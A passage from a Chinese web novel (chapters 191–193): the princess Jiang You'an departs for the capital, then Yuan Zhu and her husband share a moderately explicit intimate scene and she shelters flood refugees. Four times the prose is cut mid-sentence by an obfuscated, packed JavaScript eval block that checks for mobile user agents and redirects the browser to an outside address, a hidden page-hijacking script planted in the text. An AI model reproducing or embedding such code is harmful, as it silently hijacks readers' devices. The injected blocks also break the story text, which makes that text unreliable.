张慈和张初五也过来送行了,两人抱着一床被子和两个枕头,来到姜佑安身边,“姜院长,这是我们给你做的喜被,你带着路上用吧。” “还有枕头。”张初五把枕头递到了姜佑安的身前。 “谢谢了,我路上正好缺被子和枕头。”姜佑安看向王昭明,“昭明,你看看收到哪里好?” 王昭明让下属把枕头和被子接过去,放进了放行李的马车上。 姜佑安摸了摸张初五的脑袋,微笑着说道:“我不在这里,初五也要记得继续练箭,还要跟着邵老师好好读书,知道吗?” 张初五点了点头,有些难过地说道:“知道了,姜院长,你要早点儿回来,到时候咱们还一起练箭。” “好。”姜佑安微笑着点头答应。 郭英拿来了给姜佑安做的喜服,“你这一走,和戴老师的婚礼也不知道什么时候能办,我按你的要求,没有做繁复的刺绣,这两件衣服你带着吧,就当普通的衣服穿,等以后办婚礼的时候,我再重新给你做。” 姜佑安笑着接了过去,“行,那我就先带着了,等以后定了婚期,一定提前告诉你,在让你给我准备喜服。” 王昭明刚把姜佑安手上的衣服拿走,龙世蓉和许家莺就来了,龙世蓉递给姜佑安一个小木盒,姜佑安打开一看,装着的是她当掉的金耳环。 “这是临行前的礼物,也算是物归原主了。”龙世蓉微笑着说道。 姜佑安合上了盖子,把木盒塞回龙世蓉手里,“当掉的东西,哪能再拿回来,你留着吧,熔了做别的首饰戴。” “我就说这东西这么贵重,她肯定不肯收,姜院长,我没什么值钱的东西,只能把店里的料子给你送来几匹,你不会不肯收吧?”许家莺笑着说道。 “布料好啊,很实用,袁竹,你把许老板送来的料子收下,留给孩子们做衣服吧。”姜佑安说道。 袁竹答应了一声,徐洪愿和钟二娘就去把伙计们抱着的料子拿回屋里去了,姜佑安悄悄跟袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15146269|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹说,让她记得私下里把布料的钱给许家莺。 姜佑安跟龙世蓉她们说着话,不经意间看到李鹤在人群外远远站着,于是抛下众人,走了过去。 “你也是来送我的吗?”姜佑安笑着问道。 “是。”李鹤高兴地应了一声,又慌忙低下头去,“公主殿下。” “之前你特意来给我送信,真是谢谢你了,你现在在霍家怎么样?他们没有为难你吧。”姜佑安说道。 见姜佑安的态度平易近人,李鹤抬起头来,回答道:“没有,他们并不知道我做了什么。” “霍静要跟我一起去京城,你要不要去跟她道个别?”姜佑安问道。 “不用了。”李鹤微笑着摇了摇头,“我看着你们都安好,就放心了,姜院长,一路顺风。” 姜佑安也露出了微笑,“嗯,多谢。” “公主殿下!”大路上传来一声呼喊,姜佑安看过去,原来是程祥来了。 “公主殿下,霍静,霍静还没走吧。”程祥跑过来,气喘吁吁地问道。 “没有,还在马车上呢,我带你过去。”姜佑安领着程祥马车边走,想起来还没跟李鹤道别,转头看时,他已经朝着李家村的方向走了,于是回过头来,对程祥说道:“你家老爷不过来送行吗?” “他不来,还不许夫人来,夫人正跟他吵架呢,我还是第一次见夫人生这么大的气。”程祥说道。 “不来就不来吧,见了也是伤心。”姜佑安说道。 程祥先去见了戴庭芳,说了家里的事,戴庭芳把一封信递给程祥,让程祥转交给他母亲,再帮他转告母亲,说他还会回来,让母亲不要担心。 程祥答应了一声,就去找霍静去了。 附近的村民来送行,有送干粮,有送水果的,还有送点心的,都被姜佑安一一拒绝了。 见大家都准备得差不多了,也向袁竹道了别,“我不在,就劳烦你多操心了。” “干吗这么客气,真让人不习惯,袁家这些人,不止是你收留的,也是我收留的,我操心是应该的,你就别操心了,去好好做你的事去吧。”袁竹说道。 “书院那边,也要麻烦你了。”姜佑安说道。 “我只负责给钱,别的什么也不懂,有邵老师和开元在,也用不着麻烦我。”袁竹说道。 “留给你的银子,你别舍不得花,要是缺钱了,或者遇到了自己解决不了的事,就去找王知府,他会帮忙的。”姜佑安说道。 “我知道。”袁竹点了点头,眼中有很多不舍,“出门在外,好好照顾自己,皇宫里的事我也不懂,你别太冲动,护好自己。” “嗯。”姜佑安感觉眼睛酸酸的,她很想抱一抱袁竹,又怕自己会忍不住哭出来,只好转移了话题,笑着说道:“等我去京城赚一大笔钱带回来,你的后半辈子就不用愁了。” 袁竹也笑了起来,“你回京城是做生意去的?” “不做生意,我直接把我的公主府给卖了,也能换不少钱呢。”姜佑安笑着说道。 袁竹脸上的笑意淡了下去,认真地对姜佑安说道:“这里有我,你的公主府要是住得舒坦,不回来也行。” “什么意思?你是让我别回来了?”姜佑安问道。 “要是皇上不怪你,你在京城里住着,不是更好吗?”袁竹说道。 191. 等待 “不好!我一定要回来!”姜佑安赌气说道。 袁竹笑了笑,“好,那就回来,我们都等着你。” “你要是缺钱了,我房间里的东西都可以当掉。”姜佑安说完,看向袁竹身旁的辛开元和杨恩,“袁家和书院就拜托给你们了。” “你放心好了,我会帮袁竹打理好袁家和书院的。”辛开元说道。 “这里就是我的家,袁家的事就是我的事,我会替你守好袁家的。”杨恩说道。 李长风也跟众人道了别,袁竹抱了抱他,让他多注意安全,李长风眼中含泪,多有不舍,他向袁竹保证,以后一定会再回到袁家来。 姜佑安见程祥已经跟霍静说完话了,又跟众人道了一次别,让王昭明宣布动身启程。 在姜佑安转身离去之前,袁竹把一个平安符塞到了她的手里,“这是一个道士给的,说是能护人平安,你好好带着它,一定要平安回来。” “嗯。”姜佑安忍着眼泪点了点头,收起平安符,小心地揣进怀里,上了马车,李长风骑着马,配着剑,跟在马车旁边。 王昭明骑马走在前面,队伍开始慢慢向前行进,庄伯章和王世镜告了别,上了自己的马车,一众随从都跟着马车汇合进了队伍里。 箫悦笙骑在马上,等着队伍走过,她回头看了看,除了春花、几个孩子还有她们的母亲在跟她挥手告别,石倩她们已经都回去了,看来昨晚劝她们的那些话,她们都听进去了,箫悦笙挥了挥手,策马跟着队伍往前走去。 姜佑安坐在王昭明的马车里,想着不知道什么时候才能再回来,心中一阵凄然,忍不住掀开窗帘,探出头去,想要再看袁竹一眼,却意外发现秦虹正站在路边的田埂上。 “停一下!”姜佑安喊了一声,掀开门帘,从马车上跳了下去,来到了秦虹的面前,“秦老板,你怎么来了?” 秦虹脸上颇有些羞赧,她紧张地舔了舔嘴唇,把手上的包袱向前递给姜佑安,“姜,姜院长,之前的事,是我对不起你,谢谢你放过我,我给你做了一身衣服作为赔礼。” “不会又是锦锻做的衣服吧?”姜佑安没有去接,只是笑着问道。 秦虹有些忐忑地轻声答道:“是锦缎的。” “锦缎贵重,你还是自己留着吧。”姜佑安说道。 秦虹听到姜佑安拒绝收,屈膝便要下跪,姜佑安赶忙扶住了她,“秦老板,你这是干什么?” “我罪孽深重,公主不想收我的东西,也不肯原谅我,那我就给你磕头谢罪吧。”秦虹激动地说道。 “你说到哪里去了!我要是不肯原谅你,怎么会让展大人把你放出来?你给袁家的孩子们做了那么多衣服,我去买衣服的时候,也总是多加关照,这我都是看在眼里的,我一直都很感谢你,从没有怪过你,你看我带着这么多随从,还恢复了公主的身份,我不缺衣服穿的,你一个人带着孩子开店也不容易,这衣服贵重,还是留着放到店里卖吧。”姜佑安说道。 “我,我对不起你!”秦虹抱着姜佑安的胳膊哭了起来。 姜佑安轻轻拍着秦虹的肩膀,安慰道:“没事的,我知道你是被恶人威胁才会那么说,我一点都不在意,你也别总想着这件事了,回去和孩子好好生活。” 这边正在劝说,队伍的尾端突然又吵闹了起来,姜佑安让跟在身后的李长风去看看出了什么事。 李长风去了一会儿,回来向姜佑安说道:“是石姐姐她们悄悄跟在队伍后面,想跟着箫姐姐一起走,箫姐姐不同意,让她们回去,她们不肯,就争执起来了。” 姜佑安安抚好了秦虹,让秦虹拿好包袱回县城去了,她带着李长风来到队伍末尾,果然看到石倩、陆欢她们几个背着包袱正在和箫悦笙争吵些什么。 王昭明见队伍停了下来,也调转马头,往队尾去了。 “你别想赶我们回去,我们一定要跟着你。”石倩说道。 “我昨晚都说得很清楚了,我去京城,不是去享福的,你们在这里生活得好好的,为什么非要跟着我走?”箫悦笙问道。 “这里是很好,但终究不是我们的家,我们和你一样,都想回到家乡去。”陆欢说道。 “想回家,你们就更应该在这里等着,等到有好消息传来,不就可以回去了吗?”箫悦笙说道。 “前几天你说要回家乡,现在又要去京城,我知道这其中一定有什么联系,你帮了我们这么多,我们不会只躲在你的身后,无论你去京城是要做什么,我们都陪着你。”石倩说道。 “多个人也多个帮手不是吗?”陈云说道。 “对啊,我们也有力气,能干活的。”陆欢说道。 “悦笙要做的事,不是容易的事,你们不愿意回去,就当是多送她一程吧,等晚上休息的时候,我会好好跟你们聊一聊,能接受的今天的行程还有未来的目标的,可以跟着我们走,不能接受的,明天就自己回来,可以吗?”姜佑安说道。 “好。”女人们纷纷响应,高兴地表示一定要跟着箫悦笙一起走。 箫悦笙还是不太愿意,“佑安,她们还是留在这里比较好。” 姜佑安微笑着安慰她:“留下还是离开,她们可以自己决定,等到晚上再说吧,她们也很久没有在外赶路了,也许撑不到晚上就回去了。” 王昭明见姜佑安已经做了决定,也没有多说什么,只让箫悦笙多盯着点儿,别让这些人掉队了。 姜佑安上了马车,阮荷她们见这些女人跟在后面,都下了马车,跟她们一起步行,还把她们身上的行李都放在了马车上,告诉她们累了可以去马车上休息。 队伍浩浩荡荡地消失在远方,来给姜佑安送行的人也都各自散去了,袁竹又在大门口看了一会儿,才转身回去。 回到屋里,袁竹感觉袁家安静了许多,她坐在椅子上,忍不住落下泪来。 辛开元走过去,把袁竹揽在怀里,“姜院长她们才刚走,你就想她们了?” 袁竹抱着辛开元,轻声抽泣着,“她们这一走,不知道什么时候才能回来,佑安回了京城,也不知道皇上会不会为难她。” “皇上怎么说也是姜院长的亲生父亲,应该不会太为难她,就算有什么危险,凭借姜院长的头脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190529|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和身手,她肯定能化险为夷,你就相信她吧。”辛开元说道。 “嗯。”袁竹点了点头,“她是那么厉害的一个人,恢复了公主的身份,肯定更厉害了,会没事的,她会没事的。” 辛开元拿出手帕,俯身擦去了袁竹脸上的眼泪,“她身上还带着你送的平安符,知道你在记挂着她,她一定会平安回来的。” “对,会平安的,我不能总往坏处想,她肯定会平安回来的。”袁竹站起身来,向门外走去,“这在里闲着,就容易想东想西,我去地里干活去了。” “我和你一起去。”辛开元揣起帕子,和袁竹一起走了出去。 姜佑安走后,袁竹依旧每天去卖花,学堂也开学了,大家渐渐习惯了姜佑安她们不在的日子,只是在闲谈时,还会说起她们走了多少日子了,猜测她们什么时候能回来。 袁竹卖花时,去了陈大用那里一趟,向他说起姜佑安去京城的事,还把姜佑安给他留的二十两银子给了他。 陈大用在县城里,除了替人看院子,也会帮街坊四邻修修家具、做些小物件之类的活,和孙子两个人,日子倒也过得下去,收到姜佑安给的银子,让他格外惊喜,回忆着跟姜佑安的相处,连声感叹说,真是想不到她竟然还是一位公主。 袁竹还和郭英一起去了徐燕那里,照姜佑安的嘱托,给她送了许多粮食过去,徐燕说自己腿脚不好,没能去送送姜佑安,觉得很遗憾,袁竹和郭英安慰她,说姜佑安还会回来的,到时候再过来陪她说话。 山上的土地庙一直没有被修缮,已经彻底垮塌了,杨恩在一个晴朗的日子上了山,把土地庙旁父亲的坟加固了,又请人在坟前给父亲立了碑。 袁竹从花田里回来时,正遇上杨恩从山上下来,两人站在门口说了会儿话,袁竹问起周通海的事,杨恩说周帛走了之后,周通海就没再来过,还说起他母亲死的时候他还年幼,记不起母亲被葬在哪里了,说打算去李家村问问,把父母的棺材迁到一起合葬。 袁竹说这是件好事,要是缺钱就找她要,又说起村里的大姐想要给杨恩说个亲,杨恩直接就拒绝了,说他不想成亲,袁竹也没有勉强。 辛开元结束了操练课往袁家走去,看到袁竹和杨恩在院门口说话,杨恩见辛开元走过来,就向袁竹道了别,袁竹留他中午在这边吃饭,杨恩说要回去给邵老师做饭,下次再过来蹭饭。 杨恩跟走近的辛开元打了个招呼,问他中午在哪里吃饭,辛开元说只是过来看看,中午还回去吃饭。 辛开元果然去跟袁竹说了会儿话,就回去了,只是中午吃完饭后,他又来到了袁竹的房间。 袁竹吃过午饭,躺在床上正想睡个午觉,就听见有人敲响了她房间的门,打开门,辛开元就一阵风似的卷进去,关上门,抱着袁竹吻了起来。 天气炎热,辛开元的唇舌更热,袁竹感觉自己被一团热气包裹住,快要喘不过气来了,她用力抓着辛开元的胳膊,鼻子用力地呼吸着。 辛开元放开袁竹的嘴唇时,看到她的脸绯红一片,好像红得不太正常,忙关心地问道:“娘子,你没事吧?” 192. 吃醋 “我没事…”袁竹倚在辛开元身上喘着气,“就是有点儿…喘不过气来…” 辛开元扶着袁竹往床边走去,“抱歉,是不是我亲得太用力了?” “可能是吧。”袁竹不好意思向辛开元明说,她这个样子,其实是因为这阵子忙着生意的事,连带着担心姜佑安和阮荷她们,她没怎么去辛开元那里,今天猛然间被他这样亲吻,让她身体和内心都跟着激动起来。 辛开元让袁竹在床边坐了,他拿起床上的蒲扇给袁竹扇风,“这样有没有好一点儿?” “嗯,好多了。”袁竹红着脸说道。 “屋里闷,我看她们搬了凉床,放在蔷薇架下,又遮阴又凉快,你要不要也去外面躺会儿?”辛开元提议道。 “不了,我躺会儿就好了。”袁竹的床上铺了凉席,招呼辛开元一起躺会儿,“你也来躺着吧。” 辛开元坐在床边,给袁竹扇着风,“我不困,就这样说说话吧。” “嗯。”袁竹躺在床上,脸上的红晕逐渐消散,“天气这么热,赶路肯定很辛苦,也不知道佑安她们到没到京城。” “应该已经到了吧,保平安的信可能已经在路上了,你就别担心了。”辛开元说道。 “小阮她们在京城,也不知道吃的住的,习不习惯。”袁竹说道。 辛开元笑了笑,“这你也要操心?跟着公主殿下,吃的住的,肯定都比咱们这里好。” 袁竹也笑,“说得也是。” “今天杨恩来找你,跟你说什么了?”辛开元问道。 “没什么,他今天找人帮忙给他爹立了碑,说想要给他爹娘合葬,只是忘了他娘被埋在哪里了,我就跟他说,迁坟的钱要是不够,我可以给他出。”说到这里,袁竹叹了口气,“杨恩也是可怜,爹娘都没了,家里就剩他一人,别人给他说亲,他都不同意,可能还是有什么心结没解开吧。” “我听说他每年都会去给他爹扫墓,怎么今天才立碑?”辛开元问道。 “佑安说,杨恩本来是李家村的人,他娘在他很小的时候就没了,他爹在李家村住过一段时间,后来又带着他去京城做生意,死在了京城,后来,他就被别人家收养,还改了姓,他觉得愧对爹娘,也不想让李家村的人认出他来,就没给他爹立碑,现在周家认出他来,他也就不在意这些了。”袁竹说道。 “他爹是在京城去世的?”辛开元问道。 “是,听说他在京城的时候,攒下了一些钱,五年前,为了把他爹的尸身运回来,一路上把钱都花光了,等给他爹立了坟,他自己也病得快死了,要不是佑安发现了他,把他背到我家来,还不知道会变成什么样。”袁竹说道。 辛开元有些惊讶,“这么说,你们还救过他的命?” 回忆起往事,袁竹的脸上露出了微笑,“算是吧,佑安给他请了郎中,小阮给他喂饭喂药,我只是给了他一个住处而已,他病好之后,一直说要报答我们,我也不想要什么报答,还想赶他走来着,当时真是没想到,他会这样留下来,成为了袁家人。” “我看他是真的想成为袁家人。”辛开元小声嘟囔道。 袁竹没听清,转头看向辛开元,“你说什么?” “他一直不成亲,谁家的女孩子都看不上,不会是喜欢你,只想守在你身边吧?”辛开元说道。 “你说什么呢!”袁竹觉得很好笑,“他当我是姐姐,我当他是弟弟,我可没有看到过他用你这种眼神看我。” 辛开元俯身凑了过去,“我是什么眼神?” 袁竹捏了捏辛开元的脸,笑着说道:“看到我跟别的男人说话就会吃醋的眼神,连杨恩的醋你也吃?” 辛开元撇了撇嘴,“他长得那么好看,你还对他这么好,我怎么能不吃醋?” “我对你不好吗?”袁竹问道。 “好。”辛开元放下扇子,钻进了袁竹怀里,“你只能对我好,不能对别的男人好。” 隔着薄薄的衣服,热乎乎的身体贴了过来,让袁竹的心不由得加速跳动起来,她抚摸着辛开元额头,轻声说道:“我本来没打算再成亲的,你都已经是我相公了,还信不过我吗?” “也不是信不过,就是觉得心里酸酸的。”辛开元抱住了袁竹,“对不起,你的相公好像太小气了。” 袁竹的手从额头移到辛开元的唇边,红着脸问道:“那怎么办?要我安慰你一下吗?” “要!”辛开元抬腿缠在了袁竹的身上,一手摁着她的脑袋,仰头吻住了她的嘴唇,另一只手去解她的衣服。 夏天的衣服轻薄,只一扯,袁竹的身体就露出了大半,她有些惊慌地拽着衣服,在辛开元猛烈的攻势下,艰难地吐露出她的担心,“窗…窗户…没关…” 辛开元的手探进袁竹的衣服里,摸到她后背生出了一层薄汗。“关窗…太闷…” 袁竹轻轻咬了一下辛开元的嘴唇,“外面有人…” 辛开元放开了袁竹,有些不满地强调道:“有人怕什么,我们是夫妻。” “孩子们对什么都好奇,要是被她们趴窗户看见了,多不好,去关上吧。”袁竹轻声劝道。 辛开元起身,把架子床的帷幔放了下来“这样就好了,外面什么都看不见。” 见袁竹没有反对,辛开元爬过去,给袁竹揉捏着双腿,“最近挺累的吧,我先给你按摩一下。” 辛开元下手时轻时重,揉捏的位置时上时下,袁竹的内心充满了期待,却还低垂双目,咬着下唇忍耐着。 “我摁得不舒服吗?”辛开元问道。 “没有。”袁竹摇了摇头,“挺好的。” 辛开元调整了方向,双手探进了袁竹的衣服里,“要是不舒服,你就告诉我。” “嗯…”袁竹轻声应道。 辛开元的手在袁竹身上揉捏着,“有一段时间没按,都有些生疏了,今天我会让你好好放松放松。” 袁竹闭上了眼睛,“好…” “娘子。”辛开元突然俯身向前,吻了吻她的嘴唇,“娘子,别闭上眼,你看看我。” 袁竹睁开眼,却不抬眼看他,“你按就是了。” “娘子,我喜欢你看着我。”辛开元目光灼灼,让袁竹难以应对,也许是因为记挂着开着的窗户,今天她感觉格外害羞。 辛开元俯身压在袁竹身上,轻轻蹭着她的身体,不停地向她撒娇,“你看着我,娘子。” 袁竹的脸红得像熟透的果实,她轻轻抱住辛开元,心跳得厉害,“别蹭了,怪痒的。” 辛开元笑了,“哪里痒?我帮娘子挠一挠。” “嘘!”袁竹赶忙制止他,“别这么大声,被人听见。” 辛开元俯身凑到袁竹耳边,轻声说道:“那我小点儿声,娘子哪里痒,快告诉我吧。” “你一碰我,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190530|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里都痒。”袁竹红着脸说道。 “那我就帮娘子挠个遍。”辛开元从袁竹的脖子到胸口,一路吻下去,引得袁竹阵阵颤抖。 安静的房间里,辛开元亲吻舔舐的声音显得格外大,让袁竹感觉很慌张,身上被舔舐的感觉传来,她忍不住想要轻哼出声,忙又用手捂住了嘴。 辛开元嘴上忙碌着,眼睛还在看着袁竹,见她捂上了嘴,就抬手去拉她的胳膊,“别捂上…我想听你的声音…” 袁竹拿开了手,却还是紧闭着双唇,不想漏出半点声音。 充分揉按过袁竹的身子之后,辛开元压在了袁竹的身上,舔舐着她的嘴唇,“这么不想发出声音吗?” 袁竹皱着眉头忍耐着想要叫出声的冲动,她紧抓着辛开元的胳膊,轻轻应了一声。“嗯…” “我帮你堵上嘴,你晚上去我那里好不好?那边没有人,你随便叫都不会有人听到。”辛开元轻声劝诱道。 袁竹赶忙点了点头,辛开元低头吻上了她的嘴,继续给她按摩着。 一阵清风吹进来,帷幔轻轻晃动,院子里人们在凉床上午睡,听不到床幔内细碎的声响。 辛开元知道袁竹的担心,他的动作一直很轻,只在结束前,用力帮袁竹按了几下,袁竹紧抿着嘴,气喘吁吁,等到她终于放松下来,两人身上都已经是大汗淋漓。 辛开元抱着袁竹,亲吻着她红红的脸颊,“感觉还好吗…有没有气闷…” “没有…热…放开我…”袁竹轻喘着说道。 “不放…”辛开元扒在袁竹身上,不肯放开,“让我再抱一会儿…” 袁竹有了些困意,没有再说什么,只由着他抱着自己,四处抚摸揉捏着。 房间里安静了一阵,谁都没有说话,辛开元突然翻身,又压在了袁竹的身上。 “嗯…还要继续按吗…”袁竹的脸色又红了起来。 “我说继续,你也会同意吗?”辛开元问道。 袁竹抚摸着辛开元汗津津的胸口,笑着答道:“你都这样了,我还能拒绝?” “你可以拒绝。”辛开元说着,又有些生气了,“是不是因为跟我成亲了,你就觉得应该事事迁就我、忍耐着我?我不是那种蛮横的丈夫,你可以拒绝我的,你应该保持自我,你想拒绝就拒绝,我可以接受的。” “你这是要我拒绝的意思?”袁竹的手从辛开元的胸口转移到了他的小腹上,轻轻摁了一下,“你做的这些事,都是让我觉得舒服的事,我为什么要拒绝?” “真的?”辛开元开心地笑了起来,身体向前顶,结结实实地抵在了袁竹的手上,“娘子,你不是为了安慰我才这么说的吧?” “嗯…当然不是,我不会对你撒谎。”袁竹皱着眉头说道。 “晚上要去我那里…也是真的吧…”辛开元笑着问道。 “真的…可是…白天都按过了…晚上还要吗…”袁竹有些不解地问道。 “要…”辛开元吻了吻袁竹的嘴唇,“听不到娘子的声音…我不能满足…” “我也…想听相公的声音…”袁竹动情地说道。 听了袁竹的话,辛开元异常激动,快速而大力地按摩了一阵,起身给她穿上了衣服,自己也穿好衣服,拉着她下了床。 袁竹不明所以,“怎么了这是?” 辛开元舔了舔嘴唇,牵着袁竹的手往外走,“去我那里,现在就去!” 193. 流民 两人红着脸,低着头,匆匆穿过了宁静的院子,去了辛开元的住处。 袁竹为了让辛开元不再多心,大胆地向他提出自己的要求,辛开元也都兴奋地一一给予满足。 傍晚,辛开元抱着袁竹坐在椅子上,不想让她离开,“娘子,那边宅子里都是女人,人又多,我总去找你,太不方便了,不如你以后都住我这里吧。” “那边离花田近,宅子里住的人多,要处理的事也多,我住这里,也不太方便。”袁竹说道。 辛开元有些委屈,头埋在袁竹的胸口撒娇,“我们明明都成亲了,为什么还要分居啊?我想和娘子住在一起,天天都在一起。” 袁竹轻轻抚摸着辛开元的头发,若有所思,“我也想和你天天在一起,可那边也离不开人啊。” “不是有徐娘子和钟娘子在吗?还有你姐姐,你也该放松些才是,不要什么事都亲力亲为。”辛开元说道。 “有道理。”袁竹点了点头,从辛开元怀里站了起来,“等我回去考虑考虑吧。” “嗯,你肯考虑就好。”辛开元也站起身来,“我送你回去吧。” “回哪儿去?不是说好了今天晚上睡这里吗?”袁竹问道。 辛开元开心地笑了,“哦,我都给忘了,看你起身,我就以为你要走了,晚上想吃点儿什么?” 袁竹挽上了辛开元的胳膊,“去看看杨恩晚上做什么,咱们也去蹭一顿饭吃吧,还能去跟邵老师说说话。” “行,我也去给杨恩帮帮忙。”辛开元说道。 “你不吃醋了?”袁竹笑着问道。 “娘子这么喜欢我,对我是有求必应,我哪还有心思吃别人的醋。”辛开元亲了亲袁竹的脸,挽着她向外走去。 姜佑安离开两个月后,南方遭了水灾的流民来到了泰安县,新知县还没到任,流民得不到安置,袁竹打开院门,收留了所有女人和孩子,又去找龙世蓉商量,借来了孟广画图买材料,要在山边再盖一处院子。 山脚下开始动工,虽然暂时不能给那些流民中的男人们提供住处,却也给他们找了活干,让他们有工钱拿,还提供了餐食,夏天热,睡在外面也不至于冻死,等房子盖起来之后,流民要是还得不到安置,还能在这里住下,起码不会流落荒野冻饿而死。 男人们用袁竹提供的材料在山脚下搭起了窝棚,每日砍树、运石头、盖房子、打井、做家具,有饭吃,有地方住,还有钱拿,总算是摆脱了四处奔波、居无定所的日子了。 安顿下来之后,有人起了歹念,趁着进院子里打水的时机,想要占女人的便宜,被袁家人暴打一顿赶了出去,其他男人害怕袁家人迁怒他们,让他们失去唯一的安身之所,于是自发安排了人巡逻,禁止随意进出袁家,搅扰袁家人的生活。 天气炎热,来逛园子的人本就少,再加上袁家附近人员纷乱,也有人担心不安全,不敢过来,袁竹让人截断了袁园后面通到荷花池里的山泉,引到了工地那里,那边有了水源,就不用过来打水了,这边也会安全许多。 龙世蓉和许家莺知道了袁竹的善举,特意带了银子和布匹来送给袁竹,袁竹不肯收。 “佑安走的时候,用了龙老板的两辆马车,还收了徐老板许多布匹,她特意交代我,让我付钱给你们二位,你们还都不肯收,现在又要拿钱和布给我,我哪能要?”袁竹说道。 “那是我送给姜院长的,没有收钱的道理,都过了那么久了,你就别记着这笔账了。”龙世蓉说道。 “最近你这里收留了那么多人,花销肯定增加了不少,我手上的钱也不多,只能拿些布料来给你,你就收下,拿去给大家做衣裳吧。”许家莺说道。 袁竹给她们二人倒了茶,送到她们手边,“佑安给我留的钱还有一些,够用了,等我什么时候缺钱了,再去找你们借。” 龙世蓉端起了茶杯,“还等到缺钱的时候干什么?你现在就收下,还省事了。” “对啊。”许家莺附和道。 袁竹坐回了椅子上,笑着说道:“钱借不借都行,你们只要继续收购我的绢花和花茶,就已经是帮了我的大忙了。” “生意是生意,你现在是在做善事,我们也想帮帮忙。”许家莺说道。 “这本来应该是知县要做的事,现在县衙里没人主事,反倒让普通百姓挑起了这个担子,这么多人都让你供养着,也不是个办法。”龙世蓉说道。 “对啊,你这里收留的人本来就够多了,现在你不但要给那些女人们找活干,还要顾及着那些男人,现在一时是没什么乱子,但也不可能留他们在这里一直盖房子吧。”许家莺说道。 “你这里收留流民的事已经传开了,我看以后过来投奔你的人会越来越多,你也得做好准备才行。”龙世蓉说道。 袁竹的面色凝重起来,“说的也是,实在不行,就只能把那些男人们赶走了。” “待在你这里,有住处有吃的,宅子里又都是些女人孩子,那些人怕是不会轻易离开,你可要小心提防。”龙世蓉说道。 许家莺点了点头,“我也是担心这个。” “这个我也有想过,你不用太担心,袁家人每日都在操练,每个人房间里都放着武器,要想强占我们的宅院,没有那么容易。”袁竹说道。 “我知道你们肯定会反抗,可一旦起了冲突,就难免会有伤亡,不如一开始就不要收留那些男人。”龙世蓉说道。 “我起初也想过只收留女人,可那些男人有的也是这些女人的家人,他们一起来到这里,并没有抛弃女人和孩子,要是把男人都赶走,这些女人和孩子也会担心,况且,我觉得男人之中也不都是蛮横不讲理的,真要有那么一天,也会有人念着我们的好,站在我们这一边。”袁竹说道。 “希望如此吧,大家最好都能相安无事。”许家莺说道。 春花从院子里跑进堂屋里来,“袁老板,外面有一个姓纪的娘子要见你。” “姓纪的娘子?是从外地来的吗?”袁竹问道。 “听口音像是本地人。”春花答道。 “你让她进来吧。”袁竹说道。 不多会儿,春花就领着纪青薇来到了堂屋门口,袁竹起身相迎,见来的是一个面生的女人,她撑着一把青凉伞,看起来四十多岁的年纪,神色温和,气质娴静。 春花转身跑出去玩了,纪青薇收起伞放在廊下,走进门,向袁竹点头行礼,“您就是袁老板吧?” 袁竹点头还礼,“我是袁竹,请问您是?” “我叫纪青薇,是戴庭芳的母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190531|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲,他在书院时,承蒙您关照了。”纪青薇微笑着说道。 “原来是戴老师的母亲,来,您请坐。”袁竹把纪青薇让到主位上坐了,心中有些忐忑,不知她来是为了什么。 “你们有事要讲,我和家莺先回避一下,去逛逛园子吧。”龙世蓉说着站了起来。 纪青薇抬手制止道:“我听闻袁老板收留了许多流民,想捐助点银钱,略尽绵薄之力,两位姑娘不用回避。” 龙世蓉坐了回去,笑着说道:“这还真是巧了,原来纪娘子来这里,和我们是同一个目的。” 纪青薇有些惊讶,“你们也是来捐助的?” “是,我们和袁老板是朋友,和戴老师也有过来往。”龙世蓉说道。 “真是惭愧,我身为庭芳的母亲,连他有哪些朋友都不清楚。”纪青薇说道。 “戴院长的为人,我们都有所耳闻,戴老师正直善良,不会乱交朋友,您不必为此而忧心。”龙世蓉说道。 “纪娘子能到这里来,想必也是费了一番辛苦的吧。”许家莺说道。 纪青薇笑了笑,“以前我总以为这里很远,一直没能过来看看,今天走到这里,才发现也没有多远,是我以前想的太多,做的太少。” “您是走着过来的?”许家莺问道。 纪青薇轻轻点头,“是。” 